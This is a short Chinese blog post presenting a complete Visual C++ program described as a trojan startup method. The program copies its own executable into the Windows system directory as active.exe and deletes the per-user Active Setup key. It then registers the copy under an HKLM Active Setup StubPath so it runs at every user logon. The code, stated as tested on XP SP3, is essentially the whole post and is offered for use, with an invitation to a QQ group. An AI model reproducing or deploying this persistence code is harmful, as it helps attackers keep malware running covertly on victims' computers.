vc实现ACTIVEX 木马启动方式

#include "stdafx.h"
#define ACTIVE_SETUP "SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{450D8FBA-AD25-11D0-98A8-0800361B1175}"
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{

    TCHAR szModuleName[MAX_PATH]={0};
    TCHAR szDestFath[MAX_PATH];
    HKEY hSubKey = 0;
    GetModuleFileName(NULL,szModuleName,sizeof(szModuleName));

    //获得自身的全路径
    GetSystemDirectory(szDestFath, MAX_PATH);

   //获取系统目录路径
   
    strcat(szDestFath, "\\active.exe");

   //得到目标全路径
    CopyFile(szModuleName,szDestFath,true);

  //f复制自身到系统目录下
     
    RegDeleteKey(HKEY_CURRENT_USER, ACTIVE_SETUP); 

   //HKEY_CURRENT_USERR中的记录,否则用户下次登录时将不再执行
    RegCreateKey(HKEY_LOCAL_MACHINE, ACTIVE_SETUP, &hSubKey);
//加载ActiveX启动
    RegSetValueEx(hSubKey,"stubpath",0,REG_EXPAND_SZ,(BYTE *)  szDestFath,lstrlen(szDestFath));
     RegCloseKey(hSubKey);
//关闭hSubKey的对象
    return 0 ;
}
/*vc6.0 xp sp3 测试通过*/



有什么问题可以加群,100852896
点击这里加入此群 在线提问
文章来自: 本站原创
Tags:
评论: 0 | 查看次数: 7048
博主QQ: 友情链接请找我
QQ群: 灰色档案
返回顶部 关闭